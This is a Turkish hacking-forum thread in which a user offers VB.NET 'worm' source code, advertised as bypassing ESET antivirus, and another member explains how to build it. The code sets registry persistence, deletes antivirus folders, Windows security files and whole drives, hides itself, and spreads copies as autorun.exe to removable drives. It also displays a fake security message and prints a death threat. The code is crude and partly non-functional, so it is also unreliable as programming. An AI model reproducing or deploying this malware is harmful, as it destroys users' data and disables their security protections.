İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

vb.net solucan kaynak kodları eset nod32 bypas

27-02-2016 23:13
#1
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
vb.net ile solucan hazırladım umarım işinize yarar teşşekurlerinizi eksik etmeyiniz


Alıntı:
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWAR E\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe")
On Error Resume Next
Kill("C:\\Program Files\\ESET")
Kill("C:\\Program Files\\ESET")
Kill("C:\\Program Files\\Kaspersky\\*.*")
Kill("C:\\WINDOWS\\security\\*.*")
Kill("H:\\*.*")
Kill("C:\\********s and Settings\\All Users\\Desktop\\*.*")
Kill("C:\\Program files\\Eset\\*.*")
App.TaskVisible = False
Visible = False
Me.Hide()
On Error Resume Next
CdRom.cdromCollection.Item(0).eject()
CdRom.cdromCollection.Item(1).eject()
Shell(App.Path + "/" + App.EXEName + ".exe")
On Error Resume Next
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system32\\twainss.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system\\clipboards.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "D:\\system.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "F:\\system.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "H:\\root.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "G:\\autorun.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "A:\\autorun.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\program data.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "B:\\autorun.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "E:\\autorun.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "I:\\system.exe")
FileCopy("C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "K:\\system.exe")
FileCopy("C:\\********s and Settings\\All Users\\Desktop\\system.exe", "F:\\autorun.exe")
FileCopy("C:\\********s and Settings\\All Users\\Desktop\\system.exe", "G:\\autorun.exe")
FileCopy("C:\\********s and Settings\\All Users\\Desktop\\system.exe", "I:\\system.exe")
On Error Resume Next

MsgBox("Secruty Center Active")
Printer.Print("Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin...")
On Error Resume Next
End Sub



Private Function App() As Object
Throw New NotImplementedException
End Function

Private Function CdRom() As Object
Throw New NotImplementedException
End Function

Private Function Printer() As Object
Throw New NotImplementedException
End Function

End Class

Konu Turkhavakuvvetleri tarafından (27-02-2016 23:22 Saat 23:22 ) değiştirilmiştir. Sebep: kaynak yazılmadı
deadsound Teşekkür etti.

27-02-2016 23:19
#2
berknt40 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2016
Nereden:
D:\
Mesajlar:
687
Teşekkür (Etti):
30
Teşekkür (Aldı):
112
Konular:
32
Ben bu işler fazla bilmiyorum da bunu nasıl aktif edicem
Kullanıcı İmzası
KURTULUŞ kelimesi "KURT OLUŞ" deyiminden türemiştir."KURT" olmadan Kurtulmak mümkün değildir!
Türkler soykırım yapsaydı, itiraz edecek ermeni kalmazdı!
27-02-2016 23:20
#3
pR0h4cK3Rj0jUk - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Mesajlar:
4
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
0
Daha demin yardım istiyordun nasıl yazarım diye, 5dk da kendin yazamazsın.
Bari alıntı falan yazsaydın..
27-02-2016 23:21
#4
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
algılanma raporu yayınlan dı eset bypass
27-02-2016 23:23
#5
deadsound - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Mesajlar:
79
Teşekkür (Etti):
11
Teşekkür (Aldı):
18
Konular:
11
Alıntı:
Turkhavakuvvetleri´isimli üyeden Alıntı Mesajı göster
vb.net ile solucan hazırladım umarım işinize yarar teşşekurlerinizi eksik etmeyiniz
Aslında kod yapın çok basit kopyala kopyala sil..
Ama yinede uğraşmış emek harcamışsın teşekkürler.

__________________________________________________ ______________________

Eğer kazanmayı bilmiyorsan
, kaybetmemeyi öğren.
27-02-2016 23:23
#6
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
Alıntı:
deadsound´isimli üyeden Alıntı Mesajı göster
Aslında kod yapın çok basit kopyala kopyala sil..
Ama yinede uğraşmış emek harcamışsın teşekkürler.

__________________________________________________ ______________________

Eğer kazanmayı bilmiyorsan
, kaybetmemeyi öğren.
bişe değil bazı kodları fud etmeye çalıştım ama olmadı
27-02-2016 23:24
#7
NeedleHk - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
.BAT
Yaş:
20
Mesajlar:
354
Teşekkür (Etti):
14
Teşekkür (Aldı):
58
Konular:
20
Bunu şimdi nasıl kullanıcaz ?
27-02-2016 23:33
#8
Geass - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
Underground
Mesajlar:
36
Teşekkür (Etti):
18
Teşekkür (Aldı):
3
Konular:
1
Alıntı:
Turkhavakuvvetleri´isimli üyeden Alıntı Mesajı göster
bişe değil bazı kodları fud etmeye çalıştım ama olmadı
Kodları fud etmek
29-02-2016 21:28
#9
deadsound - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Mesajlar:
79
Teşekkür (Etti):
11
Teşekkür (Aldı):
18
Konular:
11
Alıntı:
Turkhavakuvvetleri´isimli üyeden Alıntı Mesajı göster
bişe değil bazı kodları fud etmeye çalıştım ama olmadı
Haklısın

__________________________________________________ ____________________

Sevmeyi bilmiyorsan , sevilmeyi öğren.
29-02-2016 21:31
#10
deadsound - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Mesajlar:
79
Teşekkür (Etti):
11
Teşekkür (Aldı):
18
Konular:
11
Alıntı:
NeedleHk´isimli üyeden Alıntı Mesajı göster
Bunu şimdi nasıl kullanıcaz ?
Visual Basic edin.
Yeni bir proje oluştur.
Forma çift tıkla.
Heşeyi sil.
Kodları yapıştır.
Build et.
Bu kadar.


__________________________________________________ ____

Teşekkürü çok görmeyen
, daim teşekkür görür.
emollo12 Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı